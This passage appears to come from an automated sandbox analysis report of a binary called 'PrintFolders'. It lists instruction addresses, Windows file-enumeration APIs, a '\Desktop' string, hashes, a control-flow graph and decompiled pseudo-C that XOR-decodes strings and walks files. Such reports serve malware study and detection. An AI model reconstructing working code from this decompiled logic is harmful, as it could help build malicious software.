                                                          0x004049d2
                                                          0x004049d7
                                                          0x004049de
                                                          0x004049e5
                                                          0x004049e9
                                                          0x004049eb
                                                          0x004049f0
                                                          0x004049f3
                                                          0x00404a16
                                                          0x00404a1a
                                                          0x00404a1d
                                                          0x00404a20
                                                          0x00404a22
                                                          0x004049f5
                                                          0x004049f5
                                                          0x004049fb
                                                          0x004049fe
                                                          0x00404a02
                                                          0x00404a04
                                                          0x00404a07
                                                          0x00404a08
                                                          0x00404a0d
                                                          0x00404a10
                                                          0x00404a10
                                                          0x00404a27
                                                          0x00404a2c
                                                          0x00404a33
                                                          0x00404a3a
                                                          0x00404a3e
                                                          0x00404a44
                                                          0x00404a4b
                                                          0x00404a50
                                                          0x00404a53
                                                          0x00404a5a
                                                          0x00404a5c
                                                          0x00404a69
                                                          0x00404a71
                                                          0x00404a76
                                                          0x00404a83
                                                          0x00404a88
                                                          0x00404a88
                                                          0x00404a5a
                                                          0x00404a8b
                                                          0x00404a90
                                                          0x00404a92
                                                          0x00404a94
                                                          0x00404a9b
                                                          0x00404aa2
                                                          0x00404aa9
                                                          0x00404ab0
                                                          0x00404ab7
                                                          0x00404abe
                                                          0x00404ac5
                                                          0x00404acc
                                                          0x00404acc
                                                          0x00404ace
                                                          0x00404ace
                                                          0x00404ad3
                                                          0x00404ad6
                                                          0x00404adb
                                                          0x00404add
                                                          0x00404add
                                                          0x00404ae0
                                                          0x00404ae6
                                                          0x00404aed
                                                          0x00404af4
                                                          0x00404af4
                                                          0x00404af6
                                                          0x00404af7
                                                          0x00404af7
                                                          0x00404b05
                                                          0x00404b0d
                                                          0x00404b12
                                                          0x00404b15
                                                          0x00404b19
                                                          0x00404b1b
                                                          0x00404b20
                                                          0x00404b24
                                                          0x00404b2a
                                                          0x00404b31
                                                          0x00404b36
                                                          0x00404b39
                                                          0x00404b40
                                                          0x00404b42
                                                          0x00404b51
                                                          0x00404b58
                                                          0x00404b5d
                                                          0x00404b6a
                                                          0x00404b6f
                                                          0x00404b6f
                                                          0x00404b40
                                                          0x00404b72
                                                          0x00404b77
                                                          0x00404b79
                                                          0x00404b7b
                                                          0x00404b84
                                                          0x00404b8b
                                                          0x00404b8f
                                                          0x00404b94
                                                          0x00404b94
                                                          0x00404b9b
                                                          0x00404b9e
                                                          0x00404ba3
                                                          0x00404ba5
                                                          0x00404ba5
                                                          0x00404ba8
                                                          0x00404bae
                                                          0x00404bb5
                                                          0x00404bc0
                                                          0x00404bc0
                                                          0x00404bc2
                                                          0x00404bc3
                                                          0x00404bc3
                                                          0x00404bd1
                                                          0x00404bd9
                                                          0x00404bde
                                                          0x00404be1
                                                          0x00404be7
                                                          0x00404be9
                                                          0x00404bee
                                                          0x00404bf2
                                                          0x00404bf8
                                                          0x00404bff
                                                          0x00404c04
                                                          0x00404c07
                                                          0x00404c0e
                                                          0x00404c10
                                                          0x00404c20
                                                          0x00404c27
                                                          0x00404c2d
                                                          0x00404c3a
                                                          0x00404c3f
                                                          0x00404c3f
                                                          0x00404c0e
                                                          0x00404c42
                                                          0x00404c49
                                                          0x00404c4b
                                                          0x00404c52
                                                          0x00404c57
                                                          0x00404c5e
                                                          0x00404c62
                                                          0x00404c70
                                                          0x00404c70
                                                          0x00404c77
                                                          0x00404c78
                                                          0x00404c78
                                                          0x00404c70
                                                          0x00404c7d
                                                          0x00404c80
                                                          0x00404c85
                                                          0x00404c87
                                                          0x00404c87
                                                          0x00404c8a
                                                          0x00404c90
                                                          0x00404c97
                                                          0x00404ca0
                                                          0x00404ca0
                                                          0x00404ca2
                                                          0x00404ca3
                                                          0x00404ca3
                                                          0x00404cb1
                                                          0x00404cb9
                                                          0x00404cbe
                                                          0x00404cc1
                                                          0x00404cc3
                                                          0x00404cd8
                                                          0x00404cd8
                                                          0x00404cd8
                                                          0x00404cc5
                                                          0x00404cc5
                                                          0x00404cc9
                                                          0x00000000
                                                          0x00404ccb
                                                          0x00404ccb
                                                          0x00404ccf
                                                          0x00000000
                                                          0x00404cd1
                                                          0x00404cd1
                                                          0x00404cd1
                                                          0x00404ccf
                                                          0x00404cc9
                                                          0x00404cda
                                                          0x00404cdd
                                                          0x00404ce0
                                                          0x00404d0a
                                                          0x00404d0f
                                                          0x00404d17
                                                          0x00404d18
                                                          0x00404d1c
                                                          0x00404d29
                                                          0x00404ce2
                                                          0x00404ce2
                                                          0x00404ce5
                                                          0x00404ce6
                                                          0x00404ce8
                                                          0x00404cee
                                                          0x00404d00
                                                          0x00404d00
                                                          0x00404d02
                                                          0x00000000
                                                          0x00404cf0
                                                          0x00404cf0
                                                          0x00404cf3
                                                          0x00404cfb
                                                          0x00404cfe
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00404cfe
                                                          0x00404cee
                                                          0x004049a1
                                                          0x004049a1
                                                          0x004049a4
                                                          0x004049a5
                                                          0x004049a7
                                                          0x004049ad
                                                          0x004049c3
                                                          0x004049c3
                                                          0x004049c5
                                                          0x004049ca
                                                          0x00000000
                                                          0x004049af
                                                          0x004049af
                                                          0x004049b2
                                                          0x004049ba
                                                          0x004049bd
                                                          0x00404d2a
                                                          0x00404d2f
                                                          0x00404d2f
                                                          0x00404d34
                                                          0x00404d35
                                                          0x00404d36
                                                          0x00404d37
                                                          0x00404d38
                                                          0x00404d39
                                                          0x00404d3a
                                                          0x00404d3b
                                                          0x00404d3c
                                                          0x00404d3d
                                                          0x00404d3e
                                                          0x00404d3f
                                                          0x00404d40
                                                          0x00404d41
                                                          0x00404d49
                                                          0x00404d4c
                                                          0x00404d50
                                                          0x00404d54
                                                          0x00404d56
                                                          0x00404d58
                                                          0x00404d63
                                                          0x00404d64
                                                          0x00404d65
                                                          0x00404d6b
                                                          0x00404d70
                                                          0x00404d72
                                                          0x00404d75
                                                          0x00404d76
                                                          0x00404d77
                                                          0x00404d7b
                                                          0x00404d81
                                                          0x00404d83
                                                          0x00404d89
                                                          0x00404d8f
                                                          0x00404d92
                                                          0x00404d9c
                                                          0x00404da0
                                                          0x00404da7
                                                          0x00404dad
                                                          0x00404db4
                                                          0x00404dc1
                                                          0x00404dce
                                                          0x00404dd8
                                                          0x00404dde
                                                          0x00404de0
                                                          0x00404de6
                                                          0x00404de8
                                                          0x00404efa
                                                          0x00404eff
                                                          0x00404f07
                                                          0x00404f08
                                                          0x00404f0c
                                                          0x00404f19
                                                          0x00404df0
                                                          0x00404df0
                                                          0x00404df0
                                                          0x00404e07
                                                          0x00404e0d
                                                          0x00404e13
                                                          0x00404e19
                                                          0x00404e23
                                                          0x00404e2d
                                                          0x00404e30
                                                          0x00404e3a
                                                          0x00404e41
                                                          0x00404e41
                                                          0x00404e43
                                                          0x00404e44
                                                          0x00404e44
                                                          0x00404e58
                                                          0x00404e5d
                                                          0x00404e63
                                                          0x00404e69
                                                          0x00404e70
                                                          0x00404e73
                                                          0x00404e76
                                                          0x00404eaa
                                                          0x00404eab
                                                          0x00404eae
                                                          0x00404eb3
                                                          0x00404e78
                                                          0x00404e78
                                                          0x00404e7f
                                                          0x00404e84
                                                          0x00404e8b
                                                          0x00404e8e
                                                          0x00404e96
                                                          0x00404e9b
                                                          0x00404e9e
                                                          0x00404e9e
                                                          0x00404eb9
                                                          0x00404ebd
                                                          0x00404ec0
                                                          0x00000000
                                                          0x00404ec2
                                                          0x00404ec2
                                                          0x00404ec8
                                                          0x00404ec9
                                                          0x00404ecb
                                                          0x00404ed1
                                                          0x00404ee3
                                                          0x00404ee3
                                                          0x00404ee5
                                                          0x00404eea
                                                          0x00000000
                                                          0x00404ed3
                                                          0x00404ed3
                                                          0x00404ed6
                                                          0x00404ede
                                                          0x00404ee1
                                                          0x00404f1a
                                                          0x00404f1f
                                                          0x00404f20
                                                          0x00404f21
                                                          0x00404f23
                                                          0x00404f25
                                                          0x00404f30
                                                          0x00404f31
                                                          0x00404f34
                                                          0x00404f39
                                                          0x00404f3b
                                                          0x00404f3e
                                                          0x00404f3f
                                                          0x00404f40
                                                          0x00404f41
                                                          0x00404f45
                                                          0x00404f4b
                                                          0x00404f4d
                                                          0x00404f50
                                                          0x00404f53
                                                          0x00404f56
                                                          0x00404f5b
                                                          0x00404f5e
                                                          0x00404f63
                                                          0x00404f66
                                                          0x00404f69
                                                          0x00404f6c
                                                          0x00404f6f
                                                          0x00404f71
                                                          0x00405185
                                                          0x00405185
                                                          0x00405185
                                                          0x00000000
                                                          0x00404f77
                                                          0x00404f7d
                                                          0x00404f84
                                                          0x00404f8b
                                                          0x00404f8d
                                                          0x00404f90
                                                          0x00404f94
                                                          0x00404f9c
                                                          0x00404f9f
                                                          0x00404fa3
                                                          0x00404fa8
                                                          0x00404fae
                                                          0x00404fb5
                                                          0x00404fba
                                                          0x00404fbd
                                                          0x00404fc4
                                                          0x00404fc6
                                                          0x00404fc9
                                                          0x00404fce
                                                          0x00404fd6
                                                          0x00404fdb
                                                          0x00404fe8
                                                          0x00404fed
                                                          0x00404fed
                                                          0x00404fc4
                                                          0x00404ff0
                                                          0x00404ff5
                                                          0x00404ff7
                                                          0x00404ff9
                                                          0x00405000
                                                          0x00405007
                                                          0x0040500e
                                                          0x00405015
                                                          0x0040501c
                                                          0x00405023
                                                          0x0040502a
                                                          0x0040502a
                                                          0x0040502c
                                                          0x0040502c
                                                          0x00405031
                                                          0x00405036
                                                          0x0040503d
                                                          0x00405044
                                                          0x0040504b
                                                          0x0040504b
                                                          0x00405050
                                                          0x00405050
                                                          0x00405052
                                                          0x00405053
                                                          0x00405053
                                                          0x00405062
                                                          0x0040506a
                                                          0x00405070
                                                          0x00405079
                                                          0x0040507d
                                                          0x00405080
                                                          0x00405083
                                                          0x00405086
                                                          0x0040508b
                                                          0x0040508f
                                                          0x00405094
                                                          0x00405097
                                                          0x0040509a
                                                          0x004050c2
                                                          0x004050c2
                                                          0x0040509c
                                                          0x0040509c
                                                          0x004050a3
                                                          0x004050a8
                                                          0x004050b1
                                                          0x004050b6
                                                          0x004050b9
                                                          0x004050bd
                                                          0x004050c0
                                                          0x00000000
                                                          0x00000000
                                                          0x004050c0
                                                          0x004050c6
                                                          0x004050ca
                                                          0x004050cd
                                                          0x004050d0
                                                          0x00405100
                                                          0x00405100
                                                          0x00405104
                                                          0x004051e0
                                                          0x004051e0
                                                          0x004051e3
                                                          0x004051e6
                                                          0x0040520f
                                                          0x0040520f
                                                          0x00405212
                                                          0x00405187
                                                          0x00405187
                                                          0x00405189
                                                          0x00405226
                                                          0x0040522b
                                                          0x00405233
                                                          0x00405234
                                                          0x00405235
                                                          0x00405239
                                                          0x00405243
                                                          0x0040518f
                                                          0x00405192
                                                          0x00405195
                                                          0x004051a2
                                                          0x004051a5
                                                          0x004051ae
                                                          0x004051c1
                                                          0x004051c3
                                                          0x004051c6
                                                          0x004051cc
                                                          0x0040521c
                                                          0x0040521c
                                                          0x0040521e
                                                          0x00000000
                                                          0x004051ce
                                                          0x004051ce
                                                          0x004051d1
                                                          0x004051d9
                                                          0x004051dc
                                                          0x00405244
                                                          0x00000000
                                                          0x004051de
                                                          0x00000000
                                                          0x004051de
                                                          0x004051dc
                                                          0x004051cc
                                                          0x004051e8
                                                          0x004051e8
                                                          0x004051e8
                                                          0x004051eb
                                                          0x004051ed
                                                          0x004051f3
                                                          0x00405205
                                                          0x00405205
                                                          0x00405207
                                                          0x0040520c
                                                          0x00000000
                                                          0x004051f5
                                                          0x004051f5
                                                          0x004051f8
                                                          0x00405200
                                                          0x00405203
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405203
                                                          0x004051f3
                                                          0x0040510a
                                                          0x0040510a
                                                          0x0040510d
                                                          0x00405112
                                                          0x00000000
                                                          0x00405118
                                                          0x00405118
                                                          0x0040511d
                                                          0x00000000
                                                          0x00405123
                                                          0x00405123
                                                          0x00405128
                                                          0x00000000
                                                          0x0040512e
                                                          0x0040512e
                                                          0x00405133
                                                          0x00000000
                                                          0x00405139
                                                          0x00405139
                                                          0x0040513d
                                                          0x00405140
                                                          0x00405143
                                                          0x00000000
                                                          0x00405145
                                                          0x00405145
                                                          0x00405145
                                                          0x00405148
                                                          0x0040514a
                                                          0x00405150
                                                          0x00405166
                                                          0x00405166
                                                          0x00405168
                                                          0x0040516d
                                                          0x00000000
                                                          0x00405152
                                                          0x00405152
                                                          0x00405155
                                                          0x0040515d
                                                          0x00405160
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405160
                                                          0x00405150
                                                          0x00405143
                                                          0x00405133
                                                          0x00405128
                                                          0x0040511d
                                                          0x00405112
                                                          0x004050d2
                                                          0x004050d2
                                                          0x004050d2
                                                          0x004050d5
                                                          0x004050d7
                                                          0x004050dd
                                                          0x004050f3
                                                          0x004050f3
                                                          0x004050f5
                                                          0x004050fa
                                                          0x004050fd
                                                          0x00000000
                                                          0x004050df
                                                          0x004050df
                                                          0x004050e2
                                                          0x004050ea
                                                          0x004050ed
                                                          0x00405249
                                                          0x00405249
                                                          0x0040524e
                                                          0x0040524f
                                                          0x00405250
                                                          0x00405251
                                                          0x00405259
                                                          0x00405260
                                                          0x00405263
                                                          0x00405264
                                                          0x00405265
                                                          0x00405269
                                                          0x0040526f
                                                          0x00405275
                                                          0x0040527b
                                                          0x00405288
                                                          0x00405298
                                                          0x004052a0
                                                          0x004052b6
                                                          0x004052b8
                                                          0x004052ba
                                                          0x004052c5
                                                          0x004052cd
                                                          0x004052d3
                                                          0x004052d5
                                                          0x004052ea
                                                          0x004052ea
                                                          0x004052d5
                                                          0x004052f1
                                                          0x004052f7
                                                          0x004052fd
                                                          0x00405303
                                                          0x0040530a
                                                          0x0040530d
                                                          0x00405314
                                                          0x00405317
                                                          0x00405317
                                                          0x00405319
                                                          0x0040531a
                                                          0x0040531a
                                                          0x0040532a
                                                          0x00405334
                                                          0x00405335
                                                          0x00405337
                                                          0x00405340
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004050ed
                                                          0x004050dd
                                                          0x00000000
                                                          0x00405170
                                                          0x00405170
                                                          0x00405173
                                                          0x00405176
                                                          0x00405179
                                                          0x00405179
                                                          0x00405182
                                                          0x00000000
                                                          0x00405182
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00404ee1
                                                          0x00404ed1
                                                          0x00000000
                                                          0x00404eed
                                                          0x00404eed
                                                          0x00404eee
                                                          0x00404eee
                                                          0x00000000
                                                          0x00404df0
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004049bd
                                                          0x004049ad
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00404632
                                                          0x00404622
                                                          0x00404614
                                                          0x00000000

                                                          APIs
                                                          • FindFirstFileA.KERNEL32(?,?,00000000), ref: 0040456D
                                                          • FindNextFileA.KERNEL32(00000000,?,00000000,00000000,?,?), ref: 0040464A
                                                          • FindClose.KERNEL32(00000000), ref: 00404655
                                                          • __Init_thread_footer.LIBCMT ref: 004048E5
                                                          • __Init_thread_footer.LIBCMT ref: 00404A83
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Find$FileInit_thread_footer$CloseFirstNext
                                                          • String ID: O@K\$\Desktop$mmBK${}k|
                                                          • API String ID: 3881311970-1521651405
                                                          • Opcode ID: d9421b108587b5a130981a1a46fc69ea932a04d5d0a11459e9c69e0c5028e75c
                                                          • Instruction ID: d59c19dc1825489004b71b5d951f6ac136d4c15861c1c7f922f70877673123c4
                                                          • Opcode Fuzzy Hash: d9421b108587b5a130981a1a46fc69ea932a04d5d0a11459e9c69e0c5028e75c
                                                          • Instruction Fuzzy Hash: 503267B1D002448BDB14DF68DC457AEBBB1EF86304F14427EE9007B2D2D7B9A985CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 2384 4096f0-409765 call 418873 call 417e17 2389 409768-40976d 2384->2389 2389->2389 2390 40976f-409858 call 4026b0 call 410b00 call 40c400 call 40c330 2389->2390 2399 409ee3 call 40dff9 2390->2399 2400 40985e-409860 2390->2400 2404 409ee8 call 4018b0 2399->2404 2402 4098d1 2400->2402 2403 409862-409868 2400->2403 2405 4098db-409912 call 40d710 2402->2405 2406 409891-40989a call 40edcf 2403->2406 2407 40986a-40986f 2403->2407 2413 409eed-409f2d call 4096d0 call 409f60 call 40b820 call 402510 call 40b4e0 call 402440 call 417cad 2404->2413 2418 409954-409972 2405->2418 2419 409914-40991e 2405->2419 2416 40989c-4098cf call 4104c0 2406->2416 2407->2404 2411 409875-409880 call 40edcf 2407->2411 2421 409f53-409f8d call 413527 2411->2421 2422 409886-40988f 2411->2422 2514 409f32 call 4054c0 2413->2514 2416->2405 2424 409978-409992 2418->2424 2425 409abf-409ad3 2418->2425 2427 409920-40992b call 40bb90 2419->2427 2428 40992d-409931 call 40d030 2419->2428 2455 409fca-409fdd call 40ebbf 2421->2455 2456 409f8f-409fa3 call 40ef48 2421->2456 2422->2416 2431 409994-4099a8 call 40ef48 2424->2431 2432 4099d6-4099dd 2424->2432 2436 409ad5-409ae9 call 40ef48 2425->2436 2437 409b0d-409b14 2425->2437 2439 409936-409952 call 40d710 2427->2439 2428->2439 2431->2432 2460 4099aa-4099d3 call 40f25b call 40eefe 2431->2460 2445 409a09-409a2f 2432->2445 2446 4099df-409a04 2432->2446 2436->2437 2457 409aeb-409b0a call 40f25b call 40eefe 2436->2457 2441 409b32-409b55 2437->2441 2442 409b16-409b2d 2437->2442 2439->2418 2439->2419 2453 409b58-409b5d 2441->2453 2442->2441 2450 409a30-409a35 2445->2450 2446->2445 2450->2450 2458 409a37-409a50 call 4026b0 2450->2458 2453->2453 2461 409b5f-409b8b call 4026b0 call 40ca60 2453->2461 2456->2455 2478 409fa5-409fc7 call 40f25b call 40eefe 2456->2478 2457->2437 2480 409a52-409a73 2458->2480 2481 409a75-409a8e call 40ce50 2458->2481 2460->2432 2490 409b91-409baa 2461->2490 2491 409c7e-409c89 2461->2491 2478->2455 2480->2425 2481->2425 2501 409a90-409a9f 2481->2501 2495 409bac-409bc0 call 40ef48 2490->2495 2496 409bef-409bf6 2490->2496 2498 409cc8-409cd1 2491->2498 2499 409c8b-409c94 2491->2499 2495->2496 2522 409bc2-409bec call 40f25b call 40eefe 2495->2522 2506 409bf8-409c16 2496->2506 2507 409c1b-409c3e 2496->2507 2510 409cd3-409ce2 2498->2510 2511 409d05-409d0c 2498->2511 2499->2498 2504 409c96-409ca5 2499->2504 2508 409aa1-409aaf 2501->2508 2509 409ab5-409abc call 40edff 2501->2509 2515 409ca7-409cb5 2504->2515 2516 409cbb-409cc5 call 40edff 2504->2516 2506->2507 2517 409c41-409c46 2507->2517 2508->2421 2508->2509 2509->2425 2519 409ce4-409cf2 2510->2519 2520 409cf8-409d02 call 40edff 2510->2520 2511->2413 2512 409d12-409d2b 2511->2512 2512->2514 2521 409d31 2512->2521 2528 409f37-409f4e call 40b910 call 40bb90 call 409500 2514->2528 2515->2421 2515->2516 2516->2498 2517->2517 2525 409c48-409c74 call 4026b0 call 40ca60 2517->2525 2519->2421 2519->2520 2520->2511 2521->2528 2529 409d37-409d3a 2521->2529 2522->2496 2525->2491 2555 409c76-409c7c 2525->2555 2528->2421 2534 409d40-409d46 2529->2534 2535 409dd8-409dde 2529->2535 2540 409d48 2534->2540 2541 409d4a-409d4e 2534->2541 2544 409de0-409dec 2535->2544 2545 409e0c-409e93 call 40a510 call 40e4d3 call 40b930 2535->2545 2540->2541 2550 409d50-409d55 2541->2550 2551 409d79-409d7f 2541->2551 2546 409e02-409e09 call 40edff 2544->2546 2547 409dee-409dfc 2544->2547 2579 409ec3-409ee0 call 40ebbf 2545->2579 2580 409e95-409ea3 2545->2580 2546->2545 2547->2421 2547->2546 2557 409d57-409d59 2550->2557 2558 409d5b-409d5d 2550->2558 2560 409d81 2551->2560 2561 409d83-409d87 2551->2561 2555->2499 2565 409d60-409d62 2557->2565 2558->2565 2560->2561 2561->2535 2562 409d89-409d8e 2561->2562 2567 409d90-409d96 2562->2567 2568 409d9c-409d9e 2562->2568 2565->2551 2570 409d64-409d77 call 417df6 2565->2570 2567->2568 2571 409d98-409d9a 2567->2571 2572 409da1-409da3 2568->2572 2581 409db8-409dd5 Sleep call 40bb90 call 408d00 2570->2581 2571->2572 2572->2535 2575 409da5-409db2 call 417df6 2572->2575 2575->2581 2585 409ea5-409eb3 2580->2585 2586 409eb9-409ec0 call 40edff 2580->2586 2581->2535 2585->2421 2585->2586 2586->2579
                                                          C-Code - Quality: 80%
                                                          			E004096F0(void* __ecx, void* __edx, signed int __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				signed char _v16;
                                                          				signed int _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				signed int _v32;
                                                          				void* _v36;
                                                          				signed int _v40;
                                                          				signed char _v44;
                                                          				signed char _v48;
                                                          				signed int _v52;
                                                          				signed char _v56;
                                                          				signed int _v60;
                                                          				signed char _v76;
                                                          				signed char _v80;
                                                          				signed char _v84;
                                                          				signed char _v100;
                                                          				signed char _v124;
                                                          				signed char _v128;
                                                          				signed char _v132;
                                                          				signed char _v164;
                                                          				char _v172;
                                                          				intOrPtr _v176;
                                                          				intOrPtr _v192;
                                                          				signed int _v196;
                                                          				signed int* _v208;
                                                          				signed int* _v224;
                                                          				signed int* _v240;
                                                          				char _v252;
                                                          				char _v268;
                                                          				char _v444;
                                                          				char _v445;
                                                          				signed char _v452;
                                                          				signed char _v456;
                                                          				signed int _v472;
                                                          				signed int _v476;
                                                          				signed char _v480;
                                                          				signed int _v496;
                                                          				char _v520;
                                                          				signed int _v556;
                                                          				intOrPtr _v564;
                                                          				void* __ebx;
                                                          				void* __ebp;
                                                          				signed int _t200;
                                                          				signed int _t201;
                                                          				intOrPtr _t205;
                                                          				intOrPtr _t218;
                                                          				void* _t221;
                                                          				signed int _t232;
                                                          				intOrPtr* _t242;
                                                          				signed char _t249;
                                                          				signed char _t250;
                                                          				void* _t257;
                                                          				signed char _t270;
                                                          				signed char _t272;
                                                          				signed char _t275;
                                                          				signed int _t279;
                                                          				signed int _t280;
                                                          				signed int _t281;
                                                          				signed int _t282;
                                                          				signed int _t288;
                                                          				signed int _t289;
                                                          				signed int _t290;
                                                          				signed int _t292;
                                                          				signed int _t296;
                                                          				intOrPtr _t300;
                                                          				signed char _t301;
                                                          				signed char _t302;
                                                          				char _t304;
                                                          				intOrPtr _t316;
                                                          				signed char _t317;
                                                          				signed char _t318;
                                                          				signed char* _t320;
                                                          				signed int _t322;
                                                          				signed char _t332;
                                                          				intOrPtr* _t334;
                                                          				signed int _t336;
                                                          				void* _t341;
                                                          				intOrPtr _t342;
                                                          				void* _t344;
                                                          				void* _t346;
                                                          				intOrPtr* _t349;
                                                          				void* _t362;
                                                          				signed char* _t370;
                                                          				void* _t383;
                                                          				signed char _t384;
                                                          				signed int _t385;
                                                          				signed char* _t389;
                                                          				signed char* _t393;
                                                          				signed char _t397;
                                                          				signed char* _t406;
                                                          				signed char _t409;
                                                          				long _t411;
                                                          				signed char _t413;
                                                          				void* _t414;
                                                          				signed char* _t415;
                                                          				signed char* _t417;
                                                          				signed char _t418;
                                                          				void* _t419;
                                                          				void* _t421;
                                                          				void* _t426;
                                                          				signed int _t429;
                                                          				signed int _t430;
                                                          				void* _t433;
                                                          				signed int _t436;
                                                          				void* _t439;
                                                          				void* _t440;
                                                          				void* _t441;
                                                          				signed int _t442;
                                                          				void* _t450;
                                                          				void* _t454;
                                                          				void* _t492;
                                                          
                                                          				_t420 = __edi;
                                                          				_t344 = _t433;
                                                          				_t436 = (_t433 - 0x00000008 & 0xfffffff8) + 4;
                                                          				_v8 =  *((intOrPtr*)(_t344 + 4));
                                                          				_t429 = _t436;
                                                          				_push(0xffffffff);
                                                          				_push(0x42cab0);
                                                          				_push( *[fs:0x0]);
                                                          				_push(_t344);
                                                          				_t200 =  *0x43d054; // 0x6e36c9b5
                                                          				_t201 = _t200 ^ _t429;
                                                          				_v32 = _t201;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_push(_t201);
                                                          				 *[fs:0x0] =  &_v24;
                                                          				_t424 =  *((intOrPtr*)(_t344 + 0x10));
                                                          				_v40 = 0;
                                                          				E00417E17(__ecx, E00418873(__ecx, __edx, 0));
                                                          				_t349 =  *((intOrPtr*)(_t344 + 0x10));
                                                          				_v76 = 0;
                                                          				_t439 = _t436 - 0x1f0 + 8;
                                                          				_v60 = 0;
                                                          				_v56 = 0xf;
                                                          				_t402 = _t349 + 1;
                                                          				do {
                                                          					_t205 =  *_t349;
                                                          					_t349 = _t349 + 1;
                                                          					_t456 = _t205;
                                                          				} while (_t205 != 0);
                                                          				E004026B0(_t344,  &_v76, _t424, _t349 - _t402);
                                                          				_v52 = 0;
                                                          				_v48 = 0;
                                                          				_v44 = 0;
                                                          				E00410B00(__edi,  &_v268, 0, 0xa8);
                                                          				_t440 = _t439 + 8;
                                                          				_v268 = 0x439ce8;
                                                          				_v164 = 0;
                                                          				asm("xorps xmm0, xmm0");
                                                          				_v132 = 0;
                                                          				_v128 = 0;
                                                          				_v124 = 0;
                                                          				_v172 = 0x439ca4;
                                                          				_v176 = 0x48;
                                                          				asm("movlpd [ebp-0xf8], xmm0");
                                                          				E0040C400( &_v172, _t402, _t456,  &_v252);
                                                          				_t26 = _v268 + 4; // 0x60
                                                          				 *((intOrPtr*)(_t429 +  *_t26 - 0x100)) = 0x439cfc;
                                                          				_t30 = _v268 + 4; // 0x43a364
                                                          				_t31 =  *_t30 - 0x60; // 0x43a304
                                                          				 *((intOrPtr*)(_t429 +  *_t30 - 0x104)) = _t31;
                                                          				_t354 =  &_v252;
                                                          				E0040C330(_t354, _t456);
                                                          				_t425 = _v60;
                                                          				_t217 =  >=  ? _v76 :  &_v76;
                                                          				_v40 =  >=  ? _v76 :  &_v76;
                                                          				_t218 = 2;
                                                          				_v252 = 0x439c3c;
                                                          				if(_t425 > 0x7fffffff) {
                                                          					E0040DFF9(__eflags);
                                                          					goto L88;
                                                          				} else {
                                                          					if(_t425 == 0) {
                                                          						_v196 = 0;
                                                          						L11:
                                                          						_push(_t354);
                                                          						_t403 =  &_v100;
                                                          						_v192 = _t218;
                                                          						_v100 = 0;
                                                          						_v84 = 0;
                                                          						_v80 = 0xf;
                                                          						_t242 = E0040D710( &_v268,  &_v100);
                                                          						_t440 = _t440 + 4;
                                                          						if(( *( *((intOrPtr*)( *_t242 + 4)) + _t242 + 0xc) & 0x00000006) == 0) {
                                                          							do {
                                                          								_t332 = _v48;
                                                          								_push( &_v100);
                                                          								if(_t332 == _v44) {
                                                          									_push(_t332);
                                                          									_t397 =  &_v52;
                                                          									E0040D030(_t344, _t397, _t420, _t425);
                                                          								} else {
                                                          									_t397 = _t332;
                                                          									E0040BB90(_t344, _t397, _t403, _t420);
                                                          									_v48 = _v48 + 0x18;
                                                          								}
                                                          								_push(_t397);
                                                          								_t403 =  &_v100;
                                                          								_t334 = E0040D710( &_v268,  &_v100);
                                                          								_t440 = _t440 + 4;
                                                          							} while (( *( *((intOrPtr*)( *_t334 + 4)) + _t334 + 0xc) & 0x00000006) == 0);
                                                          						}
                                                          						_t369 = _v48 - _v52;
                                                          						_t420 =  *[fs:0x2c];
                                                          						if((0x2aaaaaab * (_v48 - _v52) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v48 - _v52) >> 0x20 >> 2) != 0) {
                                                          							L30:
                                                          							_t420 =  *_t420;
                                                          							_t248 =  *0x451004;
                                                          							_v40 = 0x2e45464d;
                                                          							if( *0x451004 >  *((intOrPtr*)(_t420 + 4))) {
                                                          								E0040EF48(_t248, 0x451004);
                                                          								_t440 = _t440 + 4;
                                                          								_t474 =  *0x451004 - 0xffffffff;
                                                          								if( *0x451004 == 0xffffffff) {
                                                          									 *0x450f1c = _v40;
                                                          									E0040F25B(_t369, _t474, 0x42d500);
                                                          									E0040EEFE(0x451004);
                                                          									_t440 = _t440 + 8;
                                                          								}
                                                          							}
                                                          							_t249 =  *0x450f1f; // 0x0
                                                          							if(_t249 != 0) {
                                                          								 *0x450f1c =  *0x450f1c ^ 0x0000002e;
                                                          								 *0x450f1d =  *0x450f1d ^ 0x0000002e;
                                                          								 *0x450f1e =  *0x450f1e ^ 0x0000002e;
                                                          								 *0x450f1f = _t249 ^ 0x0000002e;
                                                          							}
                                                          							_t370 = 0x450f1c;
                                                          							_v496 = 0;
                                                          							_v480 = 0;
                                                          							_v476 = 0xf;
                                                          							_t106 =  &(_t370[1]); // 0x450f1d
                                                          							_t406 = _t106;
                                                          							do {
                                                          								_t250 =  *_t370;
                                                          								_t370 =  &(_t370[1]);
                                                          							} while (_t250 != 0);
                                                          							E004026B0(_t344,  &_v496, 0x450f1c, _t370 - _t406);
                                                          							_t425 = _v52;
                                                          							_t354 = _t425;
                                                          							_v40 = 5;
                                                          							if(E0040CA60(_t425,  &_v496) != 0) {
                                                          								L47:
                                                          								__eflags = _v40 & 0x00000002;
                                                          								_v445 = 1;
                                                          								if(__eflags == 0) {
                                                          									goto L52;
                                                          								} else {
                                                          									goto L48;
                                                          								}
                                                          							} else {
                                                          								_t300 =  *0x450d3c; // 0x8000000a
                                                          								_v40 = 0x45464d01;
                                                          								_v445 = 0x2e;
